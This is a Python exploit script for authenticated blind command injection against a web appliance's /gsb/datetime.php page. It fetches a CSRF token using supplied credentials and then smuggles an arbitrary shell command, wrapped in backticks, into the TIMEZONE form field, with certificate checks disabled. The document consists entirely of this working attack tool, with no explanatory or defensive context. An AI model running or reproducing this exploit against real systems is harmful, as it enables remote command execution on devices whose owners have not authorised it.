#!/usr/bin/python3 import argparse import re import requests import sys import urllib3 from requests.auth import HTTPBasicAuth urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit(url, username, password, command): u = username p = password s = requests.Session() r = s.get(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False) m = re.search(r"name=['\"]LDCSA_CSRF['\"]\s+value=['\"]([^'\"]+)['\"]", r.text) if m: ldcsa = m.group(1) print(f"[+] Got LDCSA_CSRF value: {ldcsa}") else: print(f"[-] Failed getting LDCSA_CRSF token") sys.exit(0) payload = { "dateTimeFormSubmitted": "1", "TIMEZONE": f"; `{command}` ;", "CYEAR": "2024", "CMONTH": "9", "CDAY": "13", "CHOUR": "12", "CMIN": "34", "LDCSA_CSRF": ldcsa, "SUBMIT_TIME": "Save" } print(f"[*] Sending payload...") r = s.post(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False, data=payload) if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument('-u', '--url', help='The base URL of the target', required=True) parser.add_argument('--username', help='The application username', required=True) parser.add_argument('--password', help='The application password', required=True) parser.add_argument('-c', '--command', help='The command to execute blind', type=str, required=True) args = parser.parse_args() exploit(args.url, args.username, args.password, args.command)